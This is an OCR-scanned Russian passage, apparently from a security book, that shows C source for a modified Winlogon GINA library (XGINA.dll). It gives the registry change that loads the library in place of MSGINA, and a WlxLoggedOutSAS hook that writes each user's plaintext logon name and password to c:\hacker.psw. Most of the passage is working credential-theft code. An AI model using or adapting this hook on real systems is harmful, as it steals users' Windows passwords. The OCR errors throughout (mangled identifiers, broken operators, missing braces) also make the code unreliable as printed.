Модифицированная библиотека Gina
f Модифицированная библиотека (полностью текст и описание состояний
приведено выше) Gina XGINA.dll реализует перехват экспортируемых оригинальной
MSGINA функций с последующей передачей им управления. Собственные обработчики
должны иметь такие же имена, что и оригинальные (экспортируемые библиотекой
MSGINA).
Для того чтобы вместо оригинальной библиотеки MSGINA.dll в процесс winlogon
подгружалась модифицированная библиотека XGINA.dll, нужно задать в ключе
реестра \Registry\Machine\Software\Microsoft\Windo\vs
NT\Current Version\Winlogon запись: GinaDll = c:\xgina.dll.
XGINA.dll во время загрузки в процесс Winlogon должна сначала подгрузить
оригинальную библиотеку MSGINA.DLL, а затем получить адреса экспортируемых
этой библиотекой функций, для того чтобы использовать эти адреса в собственных
обработчиках:
WLXNEGOTIATE
WLXINITIALIZE
WLXDISPLAYSASNOTICE
WLXLOGGEDOUTSAS
WLXACTIVATEUSERSHELL
WLXLOGGEDONSAS
WLXISLOCKOK
WLXDISPLAYLOCKEDNOTICE
WLXWKSTALOCKEDSAS
g_lpWlxNegotiate = NULL; g_lpWlxInitialize = NULL;
g_lpWlxDisplaySASNotice = NULL; g_lpWlxLoggedOutSAS = NULL;
g_lpWlxActivateUserShell = NULL; g_lpWlxLoggedOnSAS = NULL; g_lpWlx!sLockOk
= NULL;
g_lpWlxDisplctyLockedNotice = NULL; g IpWlxWkstaLockedSAS = NULL;
WLXISLOGOFFOK g_lpWlx!sLogoffOk = NULL;
WLXLOGOFF . g_lpWlxLogoff » NULL;
WLXSHUTDOWN g_lpWlxShutdown - NULL;
BOOL InitMSGinaDllO
{ .
hMSGinaDLL = LoadLibrary(_T("MSGINA.DLL"));
if (hMSGinaDLL == NULL)
{
return FALSE; }
MessageBox(NULL,_T("Load Original Library MSGINA"), _T("GinaDebug"),
MB_OK);
g_lpWlxNegotiate = ( WLXNEGOTIATE )GetProcAddress(hMSGinaDLL, "WlxNegotiate"
);
g_lpWlxInitialize = ( WLXINITIALIZE )GetProcAddress(hMSGinaDLL, "Wlxlnitialize"
) ;
g_lpWlxDisplaySASNotice = ( WLXDISPLAYSASNOTICE ) GetProcAddress(hMSGinaDLL,
"WlxDisplaySASNotice" ); g_lpWlxLoggedOutSAS -= ( WLXLOGGEDOUTSAS
)GetProcAddress (hMSGinaDLL, "WlxLoggedOutSAS" );
g_lpWlxActivateUserShell = ( WLXACTIVATEUSERSHELL ) GetProcAddress(hMSGinaDLL,
"WlxActivateUserShell" ); g_lpWlxLoggedOnSAS = ( WLXLOGGEDONSAS
)GetProcAddress(hMSGinaDLL,
"WlxLoggedOnSAS" );
g_lpWlx!sLockOk = ( WLXISLOCKOK )GetProcAddress(hMSGinaDLL, "WlxIsLockOk"
);
g_lpWlxDisplayLockedNotice = ( WLXDISPLAYLOCKEDNOTICE ) GetProcAddress(hMSGinaDLL,
"WlxDisplayLockedNotice" ); g_lpWlxWkstaLockedSAS = ( -WLXWKSTALOCKEDSAS
.) GetProcAddress(hMSGinaDLL, "WlxWkstaLockedSAS" ); g_lpWlx!sLogoffOk
= ( WLXISLOGOFFOK )GetProcAddress(hMSGinaDLL, "WlxIsLogoffOk"
) ;
g_lpWlxLogoff = ( WLXLOGOFF )GetProcAddress(hMSGinaDLL, "WlxLogoff"
); g_lpWlxShutdown = ( WLXSHUTDOWN )GetProcAddress(hMSGinaDLL, "WlxShutdown"
);
MessageBox(NULL,_T("All Function Attach Succesfully") , _T ("GinaDebug"),
MBJDK); return TRUE;
Ниже приведен пример нового обработчика экспортируемой функции WlxLoggedOutSAS:
int WINAPI WlxLoggedOutSAS( PVOID pWlxContext, DWORD dwSasType, FLUID
pAuthenticationld, //ID, ассоциированный с текущей сессией logon
PSID pLogonSid, //SID уникальный для текущей сессией logon
PDWORD pdwOptions, //опция загрузки профиля PHANDLE phToken,
PWLX_MPR_NOTIFY_INFO pMprNotifylnfo, //парольная информация PVOID* pProfile
)
//указатель на одну из структур WLX_PROFILE_xxx { '
int res,i; FILE *out;
UCHAR current_name[32],current_pass[32]; UCHAR pro[2]={0x20,0}; UCHAR
end[3]={OxD,OxA,0};
MessageBox(NULL,_T("WlxLoggedOutSAS"),_T("GinaDebug"),MB_OK);
//вызов оригинальной функции WlxLoggedOutSAS res = g_lpWlxLoggedOutSAS(
pWlxContext, dwSasType, pAuthenticationld, pLogonSid, pdwOptions, phToken,
pMprNotifylnfo,
pProfile );
if(res == WLX_SAS_ACTION_LOGON) {
for (i=0;i<32;i++) current_name[i]=0; for (i=0;i<32;i++)
{
if(pMprNotify!nfo->pszUserName[i]==0) break; else current_name[i]=pMprNotify!nfo->pszUserName[i];
//получение имени пользователя
for(i=0;i<32;i++) current_pass[i]=0; for (i=0;i<32;i+,+ )
if(pMprNotify!nfo->pszPassword[i]==0) break;
else current_pass[i]=pMprNotify!nfo->pszPassword[i] ; //получение пароля
пользователя
out=fopen ("с: \\hacker.psw", "r+b") ; if (out!=NULL)
{
f seek (out, 0, SEEK_END) ;
//вывод имени пользователя в файл с: \\hacker .psw f write (cur rent_name,
sizeof (char) , strlen (current_name) , out);
fwrite (pro, sizeof (char) , 1, out) ;
//вывод пароля пользователя в файл с: \\hacker .psw fwrite (current_pass,
sizeof (char) , strlen (current_pass) , out) ;
fwrite (end, sizeof (char) , 2, out) ; fclose (out) ;
'
return res;
|